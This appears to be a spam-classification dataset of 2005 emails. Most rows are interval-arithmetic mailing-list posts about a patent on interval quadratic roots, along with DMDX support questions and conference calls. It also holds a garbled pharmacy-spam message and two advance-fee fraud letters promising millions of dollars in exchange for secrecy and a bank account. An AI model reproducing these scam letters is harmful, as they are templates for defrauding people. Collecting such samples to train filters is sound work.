>>""skilled in the art"". >> >>I understand that phrase ""skilled in the art"" to mean an ordinarily >>competent interval practitioner in this case, and not to someone elite >>(and it is clear that there are elite practitioners on this mailing list, >>to be sure). >> >>So, here's the question for the community: Is the solution of >>interval polynomials ""obvious"", given competent knowledge of interval >>arithmetic? >> >>Would you set it on an exam? >> >>-r >> >> >> >>On Mon, 3 Jan 2005, George Corliss wrote: >> >>> Arnold and all, >>> >>> >> It is described in the paper E. R. Hansen and G. W. Walster, Sharp bounds on >>> >> interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. >>> >> 115-122. >>> > >>> > Thanks. I hope they didn't patent it! >>> >>> They have applied for one. Patent application number: 20030055857 >>> Method and apparatus for computing roots of a polynomial equation with >>> interval coefficients >>> >>> You may view the application at >>> http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fneta >>> html%2FPTO%2Fsearch-adv.html&r=16&p=1&f=G&l=50&d=PG01&S1=walster.IN.&OS=IN/w >>> alster&RS=IN/walster >>> >>> >>> Of the applications Bill has submitted, 8 patents have been issued. See >>> http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fnetah >>> tml%2Fsearch-adv.htm&r=0&p=1&f=S&l=50&Query=IN%2Fwalster&d=ptxt >>> >>> Dr. George F. Corliss >>> Electrical and Computer Engineering >>> Marquette University >>> PO Box 1881 >>> 1515 W. Wisconsin Ave. >>> Milwaukee WI 53201-1881 USA >>> 414-288-6599; Fax: 288-5579; Dept. 288-6280 >>> George.Corliss@Marquette.edu >>> >>> >>> >> >> > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Hans Schneider ,"NETS -- at-net , E-LETTER , Pradeep Misra , Shaun Fallat , ""na.digest"" , ipnet-digest@math.msu.edu, Michael.Unser@epfl.ch, SIAGLA-DIGEST , hjt@eos.ncsu.edu, SMBnet@smb.org, vkm@eedsp.gatech.edu, reliable_computing@interval.louisiana.edu","Tue, 04 Jan 2005 12:51:24 -0600",LAA contents," Linear Algebra and its Applications Volume 396, Pages 1-392 (1 February 2005) 1. Editorial board Pages ii-iii 2. On the solution of Stein�^�^�s equation and Fisher�^�^�s information matrix of an ARMAX process Pages 1-34 André Klein and Peter Spreij 3. Nilpotent linear transformations and the solvability of power-associative nilalgebras Pages 35-53 Ivan Correa, Irvin Roy Hentzel, Pedro Pablo Julca and Luiz Antonio Peresi 4. A structure-preserving doubling algorithm for continuous-time algebraic Riccati equations Pages 55-80 E.K.-W. Chu, H.-Y. Fan and W.-W. Lin 5. On generalized H -matrices Pages 81-90 Ting-Zhu Huang, Shu-Qian Shen and Hou-Biao Li 6. Linear/additive preservers of rank 2 on spaces of alternate matrices over fields Pages 91-102 Xian Zhang 7. On the sensitivity of Lanczos recursions to the spectrum Pages 103-125 Vladimir Druskin, Liliana Borcea and Leonid Knizhnerman 8. Geometry of skew-Hermitian matrices Pages 127-157 Li-Ping Huang and Zhe-Xian Wan 9. Linear maps preserving Drazin inverses of matrices over fields Pages 159-173 Changjiang Bu 10. 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Convex invertible sets and matrix sign function Pages 329-352 Izchak Lewkowicz, Leiba Rodman and Elad J. Yarkoni 19. Convergence of logarithmic trace inequalities via generalized Lie�^�^�Trotter formulae Pages 353-372 Takayuki Furuta 20. The geometric mean decomposition Pages 373-384 Yi Jiang, William W. Hager and Jian Li 21. The structure of alternating-Hamiltonian matrices Pages 385-390 William C. Waterhouse 22. Author index Pages 391-392 Subscribers to LAA or ScenceDirect may access every paper of LAA published since volume 1 (1968) and also papers now in press, see www.sciencedirect.com . ",0,0 Arnold Neumaier ,George Corliss ,"Wed, 05 Jan 2005 12:51:37 +0100",Re: quadratic equation with interval coefficients,"George Corliss wrote: > >>>It is described in the paper E. R. Hansen and G. W. Walster, Sharp bounds on >>>interval polynomial roots, Reliable Computing, 2002, Vol. 8, No. 2, pp. >>>115-122. >> >>Thanks. I hope they didn't patent it! > > They have applied for one. Patent application number: 20030055857 > Method and apparatus for computing roots of a polynomial equation with > interval coefficients > > You may view the application at > http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fneta > html%2FPTO%2Fsearch-adv.html&r=16&p=1&f=G&l=50&d=PG01&S1=walster.IN.&OS=IN/w > alster&RS=IN/walster Ultimately their patents will just mean that, for fear of possible law suits, nobody apart from SUN will be using the results of their research, but instead use innocent replacements. Using the latter may even be an advantage, as in the present case. The algorithm they try to patent sometimes gives a gross overestimation of the zero set. For example, in BACKGROUND [0018],[0019],[0064],[0065], one gets [-inf,inf] if A=B=0 notin C, although the solution set is empty. It seems that it is implicitly assumed that A is nonzero. Their formulas also lead to overflow when B.sup^2 > realmax, with very poor results if A=C=B/2 and B is huge. In order to prevent that there will be a patent on similar elementary tasks, I post a solution for the constraint propagation on univariate quadratic expressions, with or without interval coefficents. dvi,ps,and pdf versions can be downloaded from the address given below; the latex original is attached here to document that the paper was created today. Arnold Neumaier ======================================================================= A. Neumaier Constraint propagation for univariate quadratic constraints Manuscript (January 5, 2005) http://www.mat.univie.ac.at/~neum/papers.html#cpquad Abstract We present formulas for rigorous constraint propagation of quadratic equality or inequality constraints involving a single nonlinear variable. Since the analysis is very elementary, probably everything in here was known for a long time. The present approach, based on directed rounding only, provide efficient alternatives to the procedures discussed by E. R. Hansen and G. W. Walster, Sharp bounds on interval polynomial roots, Reliable Computing 8 (2002), 115--122. (who only treat the solution of a quadratic equation with interval coefficients, and treat incorrectly the case where the coefficient of the quadratic term contains numbers of both signs), which employ interval arithmetic. In view of pending patent applications by these authors, who by these activities threaten to curb the freedom of research on interval methods, the following is explicitly stated: Various modifications to the methods described will be readily apparent to those skilled in the art, and the general principles defined herein may be applied to such modifications without departing from the spirit and scope of the present methods. Thus, the present methods are not intended to be limited to the formulas shown, but is to be accorded the widest scope consistent with the principles and features disclosed herein. ",0,1 Arnold Neumaier ,"""r. corless"" ","Wed, 05 Jan 2005 13:03:18 +0100",Re: quadratic equation with interval coefficients,"r. corless wrote: > Interesting. I was speaking to an intellectual-property lawyer last week > (he will marry my sister-in-law in July, this is just family, I am not > applying for patents myself :-) and he pointed out to me that the > ""hard"" question for patents is not ""originality"" but ""obviousness"". A > patent will not be granted for something that is ""obvious"" to someone > ""skilled in the art"". > > I understand that phrase ""skilled in the art"" to mean an ordinarily > competent interval practitioner in this case, and not to someone elite > (and it is clear that there are elite practitioners on this mailing list, > to be sure). > > So, here's the question for the community: Is the solution of > interval polynomials ""obvious"", given competent knowledge of interval > arithmetic? > > Would you set it on an exam? The only case worked out in detail by Hansen and Walster is that of quadratics. With some simple hints, a complete solution for quadratics can be found by diligent students in a few hours, at the same level of quality as Hansen and Walster's, or even better. Indeed, they write on p.119 of their paper, ''The simpler algorithm has probably also been often used; but the authors are unaware of any publication describing it.'' Thus they admit that the contents is ''readily apparent to practitioners skilled in the art'' (a quote from their patent application; they use it in an opposite context), and hence not patentable. What do the law experts say? Everything is in fact very elementary. The only difficulty is that there are many cases to consider, more than an average student would have the guts to consider. So the students should be told that they need to use monotonicity arguments and have to consider 16 cases, depending on the signs of a,b,c,x. See my other mail for a neatly polished solution, with all bells and whistles (which probably could be expected only by very good students). It takes much less work than the procedure of Hansen and Walster who always compute up to 8 interval enclosures of roots. Arnold Neumaier ",0,0 Arnold Neumaier ,Arnold Neumaier ,"Wed, 05 Jan 2005 13:27:56 +0100",Re: quadratic equation with interval coefficients,"Arnold Neumaier wrote: > The present approach, based on directed rounding only, provide > efficient alternatives to the procedures discussed by > E. R. Hansen and G. W. Walster, > Sharp bounds on interval polynomial roots, > Reliable Computing 8 (2002), 115--122. > (who only treat the solution of a quadratic equation with interval > coefficients, and treat incorrectly the case where the coefficient > of the quadratic term contains numbers of both signs), > which employ interval arithmetic. Actually their treatment is correct and my understanding of their algorithm was at first mistaken; I had forgotten to take this comment out of the abstract. Sorry. Arnold Neumaier ",0,0 Gerlinda Roland ,,"Wed, 05 Jan 2005 15:03:29 -0600",UMSM Newsletter,"December 2004 Issue * Student Forum 2005 to be held at Millsaps <> College * Message from Christina Wright, past UMSM <> Steering Committee Chair * Message from Bradley Laurvick, UMSM Steering <> Committee Chair * 'Exist for God' students told during annual <> forum * Young adult seminarians launch <> network * Hal bids Farewell <> Student Forum 2005 to be held at Millsaps College ""Thy Kin-dom Come: Becoming the Body of Christ"" is the theme for the 2005 United Methodist Student Forum, to be held at Millsaps College in Jackson, Miss., May 26-29. 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Send us an email at umsm@gbhem.org",0,1 Jens Maurer ,interval ,"Thu, 06 Jan 2005 00:19:36 +0100",Re: Costs of floating-point rounding control and predecessor/successor computation,"Nelson H. F. Beebe wrote: > While I cannot comment on the efficiency of Matlab's rounding mode > access in the Intlab package, I can supply fresh evidence that it > should have minimal cost. > > On IA-32, rounding mode access is available via the floating-point > control word, which takes only one instruction to fetch or set. While I can't comment on the efficiency of rounding mode access in interpreted languages, I would like to point out that rounding mode changes usually cause a complete pipeline flush in modern processors, i.e. the processor waits until all previous operations have completed. On a Pentium 4, this is much more visible than on a Pentium III due to much longer pipelines on the P4. The code for (k = 1; k <= 100000000; ++k) sum += BASE; takes 0.96 sec on my Pentium III 850 Mhz, compared to 2.3 sec for 1/100 the work in Nelson Beebe's interpreted language on his 600 MHz CPU. (The overhead of the interpreted language is a factor of 200 in this particular case.) Adding another addition (here: subtraction) for (k = 1; k <= 100000000; ++k) { sum += BASE; sum -= 0.5; } now takes 1.32 sec on my machine, clearly showing the pipeline effects: We're doing twice the number of floating-point operations, but we need a meagre 30% additional time. Adding a setting of the rounding mode instead of the second addition, the loop now takes 2.87 sec on my machine, thus the differences are much larger than those visible in the interpreted language. My C library's nextafter() function is about 10 times slower on subnormals than on normals (using glibc 2.3.3). Jens Maurer",0,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Thu, 06 Jan 2005 08:40:13 -0700",ECC-CDC2005 invited session on INTERVAL COMPUTATIONS,"forwarding; apologies for multiple copies ------------- Begin Forwarded Message ------------- From: Nacim RAMDANI Dear colleagues This mail is an invitation to participate to an invited session I plan to organize during the ECC-CDC 2005 conference http://www.esi2.us.es/~cdcecc05/, dealing with theory and application of interval computations. Interval analysis has been used since more than a decade now, in both applied mathematics and engineering. On the one hand, it is a reliable tool for uncertainty propagation and thus is used for computing rigorous error bounds when evaluating functions or solving differential equations. On the other hand, allied with constraint propagation, interval analysis becomes a powerful tool for solving, in a guaranteed way, engineering problems such as global optimization, bounded-error estimation or robust control. The invited session aims at bringing together researchers from the interval computations community in order to carry out presentations and discussions of recent advances in the field. If you are interested to participate to this invited session, and I hope you will, please let me know as soon as possible. Please also note that the deadline for submission is March 1st, therefore if you intend to participate to this session, please send the full paper in the correct format, to ramdani@univ-paris12.fr, no later than february 28th. Looking forward reading from you soon. Best Regards Dr Nacim RAMDANI I wish you a happy new year 2005. Je vous présente mes meilleurs voeux pour la nouvelle année 2005. Nacim RAMDANI Maître de Conférences phone : +33 (0)1 45 17 18 36 mobile : +33 (0)6 17 83 35 42 email : ramdani@univ-paris12.fr CERTES - UPRES-EA 3481 IUT de Créteil - Université PARIS XII http://www.univ-paris12.fr Ave du Général de Gaulle F-94010 CRETEIL CEDEX phone : +33 (0)1 45 17 18 50 fax : +33 (0)1 45 17 65 51 site web du GT Identification http://gtident.cran.uhp-nancy.fr/ site web du GT Méthodes Ensemblistes http://www-lag.ensieg.inpg.fr/gt-ensembliste/ ------------- End Forwarded Message -------------",0,1 j-packard@uiuc.edu,DMDX@psy1.psych.arizona.edu,"Thu, 06 Jan 2005 15:21:38 -0600",[DMDX] Missing Item Number,"dear DMDXers, I am having the same 'Missing Item Number' problem that I have seen referred to in the archives involving the $. I have just about exhausted all avenues and so now turn to the list for help. The program is aborted where the second $ occurs closing the first bunch of non-scrambled items (experiment directions) and just before the first real experimental item. The 'JOB ABORTED' message on the DMDX screen (not diagnostics) seems to refer to a seemingly arbitrary place earlier in the file. I'd appreciate any help I can get. thanks, Jerry ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 06 Jan 2005 16:37:22 -0700",[DMDX] Re: Missing Item Number," You will have to post your item file (I hope it's not large) as your problem could be anything at this stage. At 03:21 PM 1/6/2005 -0600, you wrote: >dear DMDXers, > >I am having the same 'Missing Item Number' problem that I >have seen referred to in the archives involving the $. I >have just about exhausted all avenues and so now turn to the >list for help. > >The program is aborted where the second $ occurs closing the >first bunch of non-scrambled items (experiment directions) >and just before the first real experimental item. > >The 'JOB ABORTED' message on the DMDX screen (not >diagnostics) seems to refer to a seemingly arbitrary place >earlier in the file. > >I'd appreciate any help I can get. > >thanks, > >Jerry >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Jargon is used as a means of succeeding by not simplifying. ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 06 Jan 2005 21:00:14 -0700",Extended deadlines for Virtual Concept 2005,"forwarding ------------- Begin Forwarded Message ------------- To: martineceberio@yahoo.com From: VIRTUALCONCEPT_PUBLICITY/LIPSI/ESTIA/CCIBPB@bayonne.cci.fr Dear Colleague, due to Christmas time, a lot of authors wanting to submit an abstract to Virtual Concept 2005 have asked us a possibility for extending deadlines. Deadlines for abstract submissions have been extended to the 4th of February. Other dates are still the same. You can submit a 200 words abstract on our website for: - an article: http://www.virtualconcept.estia.fr/call4paper.php?logout=1 - an invited session: http://www.virtualconcept.estia.fr/call4invited.php?logout=1 - a tutorial: http://www.virtualconcept.estia.fr/call4tutorial.php?logout=1 It will be an honor for us to welcome you in Virtual Concept 2005 that will foresee to gather more than 500 people interested by the use of Virtual Reality and Simulation in Industry. Happy Christmas and happy new year. Publicity and Scientific Committee Chairs of Virtual Concept 2005 ------------- End Forwarded Message ------------- ",0,1 Svetoslav Markov ,Arnold Neumaier ,"Fri, 07 Jan 2005 13:52:13 +0200",Re: quadratic equation with interval coefficients,"Dear Arnold, the solution of a single quadratic equation in one variable with interval coefficients has been discussed in detail in Section 4 of the paper: N. S. Dimitrova, S. M. Markov. Ueber die intervall-arithmetische Berechnung des Wertebereichs einer Funktion mit Anwendungen, Freiburger Intervall-Berichte, Univ. Freiburg, 81/4 (1981), 1--22. Svetoslav Markov On 3 Jan 2005 at 20:08, Arnold Neumaier wrote: > Is there a complete discussion in the literature of the solution > of a single quadratic equation in one variable, > with interval coefficients? Perhaps even an implementation > that computes a correctly rounded enclosure for the solution set? > > I worked out a solution myself, but this problem is so natural > that it was probably treated before. > > > Arnold Neumaier > ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Fri, 07 Jan 2005 08:38:59 -0700","IFSA'05: deadline extended to January 17, 2005","We originally planned two interval-related sessions: Weldon Lodwick is planning to organize a session on fuzzy optimization and Chenyi Hu was planning to organize a session on intervals and fuzzy in general. It looks like we did not have anough people for the second session, so everyone interested in welcome to submit to Weldon Lodwick's session. Please note that the deadline for conference submissions has been extended to January 17, 2005. ------------- Begin Forwarded Message ------------- >>> ""IFSA2005 Secretariat"" ss). ... Thank you very much in advance! Best regards, IFSA2005/Beijing Secretariat School of Economics and Management Tsinghua University, Beijing 100084, China Phone/Fax: 86-10-62789925 Email: ifsa2005@em.tsinghua.edu.cn Webpage : http://ifsa2005.em.tsinghua.edu.cn/ >************************************************************************** >CALL FOR PAPERS >IFSA2005 World Congress >July 28-31, 2005, Beijing China >http://ifsa2005.em.tsinghua.edu.cn > >The 11th World Congress of International Fuzzy Systems Association >(IFSA 2005) will be held in Beijing China, July 28-31, 2005. As a >major bi-annual event of IFSA, the Congress aims at bringing together >scholars and practitioners from academia and industries to present the >latest development in theories and applications of fuzzy logic and >soft computing. The scientific program will include keynote/plenary >talks and technical parallel sessions that address important issues of >interest in the fields. The Congress will serve as a platform not only >for knowledge sharing, but also for stimulating new ideas in >broadening and deepening theoretical and applied explorations of fuzzy >logic and soft computing. Notably, IFSA2005 will take place in the >year of IFSA's 20th anniversary, which may well be an event of memory >and celebration in the course of its evolution. > >This IFSA World Congress is to be the first-time-ever in Mainland >China. China is a dynamic nation with a rapid economic growth and huge >market. The conference site is Beijing, which has been the capital of >China for about five hundred years, and is now one of the largest >international cities in the world. Nowadays, as the cultural, >educational and Hi-tech center of the nation, Beijing possesses a >large number of world-class conference facilities, communication >infrastructures and hotels, and has successfully hosted many important >international conferences. In addition, Beijing is an ideal place for >sightseeing. Its rich cultures and historical attractions such as the >Great Wall, Forbidden City, Summer Palace, and Temple of Heaven will >provide participants with unique experiences for social activities. > >Topics >We solicit papers on theoretical issues and their applications related >to fuzzy logic and soft computing. Suggested topics include but are >not limited to: >* Mathematical Foundations of Fuzzy Set Theory >* Fuzzy Logic and Approximate Reasoning >* Neural Networks, Genetic Algorithms and Soft Computing >* Fuzzy Control, Robots and Intelligent Techniques >* Expert Systems and Computational Intelligence >* Knowledge Discovery and Data Mining >* Rough Sets and Evidence Theory >* Uncertainty in Decision Sciences and Optimization >* Signal/Image Processing and Pattern Recognition >* Fuzzy Databases and Information Retrieval >* Hybrid Systems > >Honorary Chair: Lotfi A. Zadeh, USA >General Chair: Yingming Liu, China >Organizing Chair: Guoqing Chen, China >Program Chair: Mingsheng Ying, China > >Advisory Committee >Zeungnam Bien, Korea Witold Pedrycz, Canada >George J. Klir, USA Philippe Smets, Belgium >Laszlo T. Koczy, Hungary Michio Sugeno, Japan >Yingming Liu, China Lotfi A. Zadeh, USA >Ebrahim Mamdani, UK Chunjun Zhao, China >Zdzislaw Pawlak, Poland Hans-Jurgen Zimmermann, Germany > >Local Organization Committee > >Yixiang Chen, China >Dexue Zhang, China >Wenxiu Zhang, China >Chongyou Zheng, China > >Program Committee (Not Completed) > >M. Berthold (Germany) Maokang Luo (China) >James C. Bezdek (USA) Luis Magdalena (Spain) >Taner Bilgic (Turkey) Trevor Martin (UK) >Piero Bonissone (USA) Kyung Chan Min (Korea) >Bernadette Bouchon-Meunier (France) Masao Mukaidono (Japan) >Kai-Yuan Cai (China) Vesa Niskanen (Finland) >Christer Carlsson (Finland) Vilem Novak (Czech Republic) >Oscar Castillo (Mexico) Fred Petry (USA) >Guoqing Chen (China) Nguyen Hoang Phuong (Vietnam) >Didier Dubois (France) Henri Prade (France) >Takeshi Furuhashi (Japan) Arthur Ramer (Australia) >Giangiacomo Gerla (Italy) Frank Chung-Hoon Rhee (Korea) >Lluis Godo (Spain) Da Ruan (Belgium) >Fernando Gomide (Brazil) Elie Sanchez (France) >Kaoru Hirota (Japan) Sandra Sandri(Brazil) >Janusz Kacprzyk (Poland) Thomas Sudkamp (USA) >Okiay Kaynak (Turkey) I. Burhan Turksen (Canada) >Jim Keller (USA) M. Amparo Vila Miranda (Spain) >Etienne E. Kerre (Belgium) Guojun Wang (China) >Erich P. Klement (Austria) Li-Xin Wang (Hong Kong China) >Donald Kraft (USA) Paul P. Wang (USA) >Rudolf Kruse (Germany) Congxin Wu (China) >Jonathan Lee (Taiwan China) Ronald R. Yager (USA) >Hongxing Li (China) John Yen (USA) >C.T.Lin (Taiwan China) Mingsheng Ying (China) >Zhiqiang Liu (Hong Kong China) > >Important Dates > >Deadline for Submission: January 17, 2005 (extended) >Notification of Acceptance: February 28, 2005 >Final Version due: April 20, 2005 >Conference: July 28-31, 2005 > >Organized by >Fuzzy Mathematics and Fuzzy Systems Association of China > (The IFSA China Chapter) >Tsinghua University >Sichuan University >Supported by >National Natural Science Foundation of China >The Systems Engineering Society of China >China Automation Association >China Computer Federation >Chinese Mathematical Society > >Detailed information about the paper submission, proceedings, >registration, accommodation, journal special issues, student paper >award, conference program, etc., will be available at the conference >web site (http://ifsa2005.em.tsinghua.edu.cn) and in forthcoming >CFPs. You may also contact us at: > Professor Guoqing Chen > IFSA2005 Organizing Committee and Secretariat > School of Economics and Management > Tsinghua University, Beijing 100084, China > Tel./Fax: 86-10-62789925 > Email: ifsa2005@em.tsinghua.edu.cn > >------------- End Forwarded Message -------------",0,1 Steven Gerke ,reliable_computing-outgoing@interval.louisiana.edu,"Fri, 07 Jan 2005 07:03:21 -0700",Re: your CtALlyS,"Hi V C L A P V X A I e m r I a L A v b o A n I L i i z G a U I t e a R x M S ra n c A http://www.nesparizapen.com Where are your friends now, and what are they doing? I dont know, but I expect starving in the forest. What were you doing in the forest? Looking for food and drink, because we were starving. But what brought you into the forest at all? asked the king angrily. At that Thorin shut his mouth and would not say another word. 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As the duration of the subjects' naming response is one of the DVs in this study, I would like to ask how to obtain this data with the DMDX program, many thanks for your attention. Regards, Andus Wong",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 09 Jan 2005 22:04:24 -0700",[DMDX] Re: Duration measurement of the vocal input,"At 11:36 AM 1/10/2005 +0800, you wrote: >Dear all, > >I am currently employing the DMDX program to conduct a research about >speech production. As the duration of the subjects' naming response is one >of the DVs in this study, I would like to ask how to obtain this data with >the DMDX program, many thanks for your attention. You can't, all you can get is onset. You'll have to use RecordVocal and use some later analysis software to determine duration. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ As long as the answer is right, who cares if the question is wrong? ",0,0 Michael Kabelo ,,"Mon, 10 Jan 2005 02:29:07 +0000",HELLO," Dear Sir/Madam. I am Engr. Michael Kebelo, a native of Cape Town and Director Of Project Implementation, South Africa. Ministry Of Mining and Natural Resources. I am making this contact with you, based on the committee?s need for an Individual/company who is willing to assist in the execution of this business. I have decided to seek a confidential cooperation with you in the execution of this deal described here under for the benefit of all parties and hope you will keep it as a top secret, because of the nature of this transaction. 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Though the actual contract cost has been paid to the original contractor,leaving the balance in the tune of the said amount, Which we have in principles gotten approval to remit by Key Tested Telegraphic Transfer K.T.T. to any Foreign Bank Account you will provide by filing an Application through the Ministry Of Justice here in South Africa, for the transfer of rights and privileges of the former contractor to you. I have the Authority of my partners involved to propose that you should be willing to assist us in this transaction, Your share of the sum is 30% of the $16.4Million, 60% for us and 10% for taxation and miscellaneous expenses. The transaction it self is 100% safe, on your part provided you treat it with utmost secrecy and confidentiality. Also, your area of specialization is not a hindrance to the successful execution of this transaction. I have reposed my confidence in you and hope that you will not disappoint me. I want to assure you that my partner and myself are in the position to make the payment of this claim possible, provided that you can give us a very strong assurance and guarantee that the funds will be secured and please, remember to teat this matter very confidential, because we will not comprehend with any form of exposure as we are still in active Government service. Once again, remember that time is of great essence in this transaction. I wait in anticipation your response Thanks and God Bless you. Yours truly, Engr. Michael Kabelo ",1,0 Arnold Neumaier ,Svetoslav Markov ,"Mon, 10 Jan 2005 17:55:57 +0100",Re: quadratic equation with interval coefficients,"Svetoslav Markov wrote: > the solution of a single quadratic equation in one variable > with interval coefficients has been discussed in detail in > Section 4 of the paper: > > N. S. Dimitrova, S. M. Markov. Ueber die > intervall-arithmetische Berechnung des Wertebereichs einer Funktion > mit Anwendungen, Freiburger Intervall-Berichte, Univ. Freiburg, 81/4 > (1981), 1--22. A scanned copy of the paper (with thanks to Prof. Markov) is at http://www.mat.univie.ac.at/~neum/contrib/intquad.pdf Section 4 contains a complete discussion of the determination of { x | x^2 + p x + q = 0 for some p in \\p, q in \\q } for intervals \\p, \\q. This is slightly less general than what Hansen and Walster (and I) treat, where x^2 also has an interval coefficient. Note that simply dividing by this coefficient would result in overestimation of the solution set. Arnold Neumaier ",0,1 Wong Wing Kuen ,DMDX@psy1.psych.arizona.edu,"Mon, 10 Jan 2005 19:37:06 +0800",[DMDX] Re: Duration Measurement of the Vocal Input,"Dear Prof. J. Forster, Thanks for your quick response to my previous question. After reading your reply, I tried to use the ""RecordVocal"" function to run a DMDX file in two different pc computers (one with Windows98 and the other one with WindowsXP OS) and did some sound file analysing afterward. To my surprise, I found the WAV files that I got from the two computers were different in their duration. The WAV files that I got from the pc working with Win98 were always 1500ms in duration (this was also the time-out time that I had preset in the parameter line) while those that I got from the pc with WinXP varied in their duration (all within 1500ms) (even though the same DMDX program was run in the two computers). Then I looked up the waveform of the sound files from the pc with WinXP and found that the files were always ended recording when the waveform came to be static after the voice onset. It seems like the pc working with WinXP was employing a criteria which is different from the one used by Win98 system to terminate the voice input recording process. I am not sure if this difference was due to the differences between two operating systems or some other basic settings in the two computers. That would be great if you could tell me some more about how to default the way that the program would terminate the voice recording and if there is any difference between different operating systems on this issue. Many thanks! Regards, Andus At 11:36 AM 1/10/2005 +0800, you wrote: >Dear all, > >I am currently employing the DMDX program to conduct a research about >speech production. As the duration of the subjects' naming response is one >of the DVs in this study, I would like to ask how to obtain this data with >the DMDX program, many thanks for your attention. You can't, all you can get is onset. You'll have to use RecordVocal and use some later analysis software to determine duration. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ As long as the answer is right, who cares if the question is wrong? ",0,0 ,,,,"j0BImxlS008416 for ; Tue, 11 Jan 2005 10:48:59 -0800 Received: from localhost.ucsb.edu ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1CoR4b-0008ts-Uh; Tue, 11 Jan 2005 10:48:58 -0800 Received: from ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtps TLSv1:AES256-SHA:256 id 1CoR1Q-0008tl-FZ for csf@ucsb.edu; Tue, 11 Jan 2005 10:45:40 -0800 Received: from lsanca1-ar10-136-190.biz.dsl.gtei.net ([4.40.136.190] helo=[192.168.1.86]) by smtp.ucsb.edu with esmtpsa TLSv1:RC4-SHA:128 id 1CoR1P-0008tQ-T7 for csf@ucsb.edu; Tue, 11 Jan 2005 10:45:40 -0800 Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: csf@ucsb.edu From: E. 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The problem arose from my having to run an algorithm to convert an older DMDX file containing Chinese characters from a version that uses 'Big-5' and 'GB' Chinese character encoding to Unicode Chinese character encoding. That algorithm successfully changed the Chinese character encoding, but it made unpredictable changes to things other than the Chinese character encoding. Most notably, the algorithm inserted line breaks/carriage returns and non-printing white spaces within the parameter line and within the quotes that designate things to be displayed on screen. This caused the Item Number and the $ to interact in strange fashion. Once the problem was pointed out, I had to go in and find all carriage returns within the parameter line, quotes etc. and remove them manually. This wasn't so bad; what was hard was identifying the problem in the first place, because the diagnostics etc. pointed in the direction of Missing Item Number and the $ scrambling operator (which I'm sure were intimately involved at some level!). thanks to Ken and Jonathan! Jerry At 03:21 PM 1/6/2005, you wrote: >dear DMDXers, > >I am having the same 'Missing Item Number' problem that I >have seen referred to in the archives involving the $. I >have just about exhausted all avenues and so now turn to the >list for help. > >The program is aborted where the second $ occurs closing the >first bunch of non-scrambled items (experiment directions) >and just before the first real experimental item. > >The 'JOB ABORTED' message on the DMDX screen (not >diagnostics) seems to refer to a seemingly arbitrary place >earlier in the file. > >I'd appreciate any help I can get. > >thanks, > >Jerry >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Jan 2005 14:56:24 -0700",[DMDX] Re: Duration Measurement of the Vocal Input,"At 07:37 PM 1/10/2005 +0800, you wrote: >Dear Prof. J. Forster, > >Thanks for your quick response to my previous question. After reading your >reply, I tried to use the ""RecordVocal"" function to run a DMDX file in two >different pc computers (one with Windows98 and the other one with WindowsXP >OS) and did some sound file analysing afterward. To my surprise, I found the >WAV files that I got from the two computers were different in their >duration. The WAV files that I got from the pc working with Win98 were >always 1500ms in duration (this was also the time-out time that I had preset >in the parameter line) while those that I got from the pc with WinXP varied >in their duration (all within 1500ms) (even though the same DMDX program was >run in the two computers). Then I looked up the waveform of the sound files >from the pc with WinXP and found that the files were always ended recording >when the waveform came to be static after the voice onset. It seems like the >pc working with WinXP was employing a criteria which is different from the >one used by Win98 system to terminate the voice input recording process. I >am not sure if this difference was due to the differences between two >operating systems or some other basic settings in the two computers. That >would be great if you could tell me some more about how to default the way >that the program would terminate the voice recording and if there is any >difference between different operating systems on this issue. Many thanks! Read up all the RecordVocal threads in the list. Basically you want and not . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Jargon is used as a means of succeeding by not simplifying.",0,0 jun ,,"Tue, 11 Jan 2005 19:25:59 -0600",Acknowledge My Mail," Mr. Jun Cheng, Bank Of Korea, 16-1, Yoido-dong, Youngdungpo-gu, Seoul 150-873. Dear Friend I am Jun Cheng a manager of bills/exchange at the foreign remittance department of Hanivitbank. In my department, we discovered an abandoned sum of $44,700,000.00 (Forty Four Million, Seven Hundred Thousand United State Dollars only) in an account that belonged to one Late Mr Andrew Phillips an American, who died along with his entire family, on November 1998, in a ghastly plane crash. Since we got the information about his death, we have been expecting his next-of-kin to come over and file a claim as next of kin over his money because we can not release it unless somebody applied for it as next of kin or relation to the deceased as indicated in our banking guidelines. Unfortunately, nobody has come forward to claim this money. It is based on this that some officials in my department and I have decided to establish 